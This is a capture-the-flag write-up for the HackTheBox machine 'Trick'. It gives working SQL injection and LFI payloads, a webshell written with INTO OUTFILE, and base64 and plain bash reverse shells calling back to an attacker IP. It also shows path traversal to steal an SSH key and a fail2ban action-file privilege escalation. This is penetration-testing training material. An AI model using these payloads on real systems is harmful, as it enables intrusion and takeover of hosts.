Trick Writeup
30 October 2022 #CTF #HTB #box #easy #linuxEnumeration
There are no tricks with nmap
:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.166
[...]
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.166
[...]
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
[...]
DNS
When DNS is listening on a tcp port, it is usually for zone transfers. But we don't have any zone for now so let's do a basic query:
$ dig @10.10.11.166 -x 10.10.11.166 +short
trick.htb.
We did a reverse lookup with -x
.
Now that we have a domain name, we can try a zone transfer:
$ dig @10.10.11.166 trick.htb axfr
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
It works, we get another subdomain. Let's add trick.htb
and preprod-payroll.trick.htb.
to our /etc/hosts
file.
HTTP
trick.htb
There is just a 'Coming Soon' page:
The email submission form doesn't do anything.
directory bruteforcing gives nothing either:
$ gobuster dir -u http://trick.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
/index.html (Status: 200) [Size: 5480]
/assets (Status: 301) [Size: 185] [--> http://10.10.11.166/assets/]
/css (Status: 301) [Size: 185] [--> http://10.10.11.166/css/]
/js (Status: 301) [Size: 185] [--> http://10.10.11.166/js/]
preprod-payroll.trick.htb
Here we have a login page:
Login SQL Injection
Let's try basic SQL injection:
And it works!
In the 'Users' page, we can edit the Administrator user and see their password:
UNION Injection
Clicking on the 'Edit' button makes a request to /manage_user.php
Let's intercept this request in Burp and play with it:
Adding an SQL comment doesn't change the output, confirming this is vulnerable to (another) SQLi.
This time, we can use UNION injection:
The first thing to test is if we have the 'FILE' privilege:
UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4,5,6,7,8-- -
Looks like we do.
PHP LFI
There is also a LFI vulnerability in /index.php
. The server seem to append .php
after the page
parameter.
This limits what we can do but we can extract php source code using php filters:
We were right, here is the relevant part in index.php
:
<?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?>
<?php include $page.'.php' ?>
We can find MySQL creds in /db_connect.php
:
<?php
$conn = new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db') or die("Could not connect to mysql".mysqli_error($con));
?>
But it doesn't let us login with ssh.
Foothold
We can take advantage of the fact that we have the FILE privilege in mysql + the LFI that can only read php files.
We'll write php code in a file with SELECT INTO OUTFILE
and execute it with the LFI.
1337 UNION SELECT '<?php system("id"); ?>',2,3,4,5,6,7,8 INTO OUTFILE '/tmp/q.php'-- -
Now use the LFI to execute it:
Sweet, let's get a reverse shell:
1337 UNION SELECT '<?php system("echo YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQyNDIgICAwPiYxICAK | base64 -d | bash"); ?>',2,3,4,5,6,7,8 INTO OUTFILE '/tmp/r.php'-- -
We base64 encode our payload to avoid bad characters (we already are in quotes). Add a few spaces here and there to avoid '+' and '=' characters in the base64. We also have to change the filename of the OUTFILE each time (it seems mysql doesn't let us overwrite non empty files).
Privesc
www-data to michael
If we go in /var/www
we see another web directory:
www-data@trick:~$ ls -lA
total 12
drwxr-xr-x 5 michael michael 4096 May 25 13:28 html
drwxr-xr-x 6 michael michael 4096 May 25 13:28 market
drwxr-xr-x 4 michael michael 4096 May 25 13:28 payroll
html
is the 'Coming Soon' page and payroll
is where we come from but we don't know what is this market
directory. We can find the subdomain for this new site in the nginx config in /etc/nginx/sites-enabled/default
:
[...]
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
[...]
Note that it is using a different php socket, running as 'michael' compared to the other one, running as 'www-data'.
After adding this subdomain to our /etc/hosts
we can take a look at the website:
Clicking on the links we see that the site is using a page
parameter (again) to load the different pages:
We can inspect the source code to see if it is vulnerable:
<?php
$file = $_GET['page'];
if (!isset($file) || $file == "index.php")
include("/var/www/market/home.html");
else
include("/var/www/market/".str_replace("../", "", $file));
It is using str_replace
to remove all ../
from the parameter. This function isn't recursive, meaning the inner ../
in ....//
will be removed but we still end up with a ../
, rendering this mehtod completely useless:
Since this php app is running as the michael user we can try to get his ssh key:
Don't forget to chmod 600
the key to avoid permissions error.
michael to root
Let's see if michael can run sudo
:
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
Interesting, but we will continue our enumeration:
michael@trick:~$ groups
michael security
michael@trick:~$ find / -group security -ls 2> /dev/null
269281 4 drwxrwx--- 2 root security 4096 Oct 30 16:00 /etc/fail2ban/action.d
michael is a member of the 'security' group so he can write to this /etc/fail2ban/action.d
directory.
Inside /etc/fail2ban/action.d various action definitions can be created. These files contain commands to execute to ban and unban a given host.
From the Gentoo Wiki.
We have to modify the actionban
of one of the default action files. Let's choose iptables-multiport.conf
because it is listed in /etc/fail2ban/jail.conf
. However this file is owned by root and we don't have write permissions on it.
We can create a copy of this file:
michael@trick:/etc/fail2ban/action.d$ cp iptables-multiport.conf iptables-multiport.conf.bak
Modify the actionban
to send us a reverse shell:
actionban = bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'
And rename it to overwrite the original file:
michael@trick:/etc/fail2ban/action.d$ mv -f iptables-multiport.conf.bak iptables-multiport.conf
Then, trigger the ban with crackmapexec
(on our attack box):
$ crackmapexec ssh 10.10.11.166 -u michael -p /usr/share/wordlists/rockyou.txt
And if all went as planned, we should catch a reverse shell as root.
Key Takeaways
- Check for FILE privilege when SQLi
- Look for subdomains in web server config files
- rwx permsission on a directory -> can rename files owned by root